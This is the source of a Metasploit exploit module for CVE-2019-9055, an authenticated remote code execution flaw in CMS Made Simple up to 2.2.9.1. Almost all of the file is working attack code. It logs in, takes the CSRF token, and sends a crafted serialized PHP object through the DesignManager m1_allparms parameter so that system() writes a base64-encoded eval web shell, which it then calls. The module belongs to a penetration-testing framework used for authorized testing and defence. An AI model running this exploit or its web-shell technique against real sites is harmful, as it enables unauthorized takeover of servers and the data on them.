Path: blob/master/modules/exploits/multi/http/cmsms_object_injection_rce.rb
19720 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking7include Msf::Exploit::Remote::HttpClient8include Msf::Exploit::FileDropper9prepend Msf::Exploit::Remote::AutoCheck1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'CMS Made Simple Authenticated RCE via object injection',16'Description' => %q{17An issue was discovered in CMS Made Simple 2.2.8.18In the module DesignManager (in the files action.admin_bulk_css.php19and action.admin_bulk_template.php), with an unprivileged user20with Designer permission, it is possible to reach an unserialize21call with a crafted value in the m1_allparms parameter,22and achieve object injection.2324This module has been successfully tested on CMS Made Simple versions252.2.6, 2.2.7, 2.2.8, 2.2.9 and 2.2.9.1.26},27'Author' => [28'Daniele Scanu danielescanu20[at]gmail.com', # Discovered and exploit. twitter.com/sk4pwn29],30'License' => MSF_LICENSE,31'References' => [32['CVE', '2019-9055'],33['URL', 'https://newsletter.cmsmadesimple.org/w/89247Qog4jCRCuRinvhsofwg'],34['URL', 'https://www.cmsmadesimple.org/2019/03/Announcing-CMS-Made-Simple-v2.2.10-Spuzzum']35],36'Privileged' => false,37'Platform' => ['php'],38'Arch' => [ARCH_PHP],39'Targets' => [['Automatic', {}]],40'DefaultTarget' => 0,41'DisclosureDate' => '2019-03-26',42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)49register_options(50[51OptString.new('TARGETURI', [true, 'Base cmsms directory path', '/']),52OptString.new('USERNAME', [true, 'Username to authenticate with', '']),53OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])54]55)56end5758def multipart_form_data(uri, data, message)59send_request_cgi(60'uri' => normalize_uri(target_uri.path, 'admin', uri),61'method' => 'POST',62'data' => data,63'ctype' => "multipart/form-data; boundary=#{message.bound}",64'cookie' => @cookies65)66end6768def post(uri, data)69send_request_cgi(70'uri' => normalize_uri(target_uri.path, 'admin', uri),71'method' => 'POST',72'vars_post' => data,73'cookie' => @cookies74)75end7677def get(path, filename)78send_request_cgi(79'uri' => normalize_uri(target_uri.path, path, filename),80'method' => 'GET'81)82end8384def check85res = get('', 'index.php')86unless res87vprint_error 'Connection failed'88return CheckCode::Unknown89end9091unless res.body.match?(/CMS Made Simple/i)92return CheckCode::Safe93end9495version = Rex::Version.new(res.body.scan(/CMS Made Simple<\/a> version (\d+\.\d+\.\d+)/).flatten.first)96vprint_status("#{peer} - CMS Made Simple Version: #{version}")9798if version <= Rex::Version.new('2.2.9.1')99return CheckCode::Appears100end101102return CheckCode::Safe103end104105def login106data = {107'username' => datastore['USERNAME'],108'password' => datastore['PASSWORD'],109'loginsubmit' => 'Submit'110}111res = post('login.php', data)112113unless res114fail_with(Failure::Unreachable,115'A response was not received from the remote host')116end117118unless res.code == 302 && res.get_cookies && res.headers['Location'] =~ %r{\/admin\?(.*)?=(.*)}119fail_with(Failure::NoAccess, 'Authentication was unsuccessful')120end121store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])122vprint_good("#{peer} - Authentication successful")123@csrf_name = Regexp.last_match(1)124csrf_val = Regexp.last_match(2)125@csrf = { @csrf_name => csrf_val }126@cookies = res.get_cookies127end128129def send_injection130# prepare shell command131shell_name = rand_text_alpha(8..12) + '.php'132cmd = Rex::Text.encode_base64(payload.encoded).delete('\n', '')133cmd = "echo \"<?php eval(base64_decode('#{cmd}')); ?>\" > #{shell_name}"134135# prepare serialized object136final_payload = 'a:2:{s:10:"css_select";a:4:{i:0;s:2:"19";i:1;s:2:"21";i:2;O:13:"dm_xml_reader":1:{s:31:"'137final_payload += "\x00" + 'dm_xml_reader' + "\x00"138final_payload += '_old_err_handler";a:2:{i:0;O:21:"CmsLayoutTemplateType":1:{s:28:"'139final_payload += "\x00" + 'CmsLayoutTemplateType' + "\x00"140final_payload += '_data";a:2:{s:13:"help_callback";s:6:"system";s:4:"name";s:' + cmd.length.to_s + ':"' + cmd + '";}}'141final_payload += 'i:1;s:21:"get_template_helptext";}};i:3;s:5:"dummy";}s:15:"css_bulk_action";s:6:"export";}'142143# create message with payload144message = Rex::MIME::Message.new145message.add_part(@csrf[@csrf_name], nil, nil, "form-data; name=\"#{@csrf_name}\"")146message.add_part('DesignManager,m1_,admin_bulk_template,0', nil, nil, 'form-data; name="mact"')147message.add_part(Rex::Text.encode_base64(final_payload), nil, nil, 'form-data; name="m1_allparms"')148data = message.to_s149150# send payload151payload_res = multipart_form_data('moduleinterface.php', data, message)152fail_with(Failure::NotFound, 'Failed to send payload') unless payload_res153register_files_for_cleanup(shell_name)154# open shell155res = get('admin', shell_name)156if res && res.code == 404157print_error "Shell #{shell_name} not found"158end159end160161def exploit162login163send_injection164end165end166167168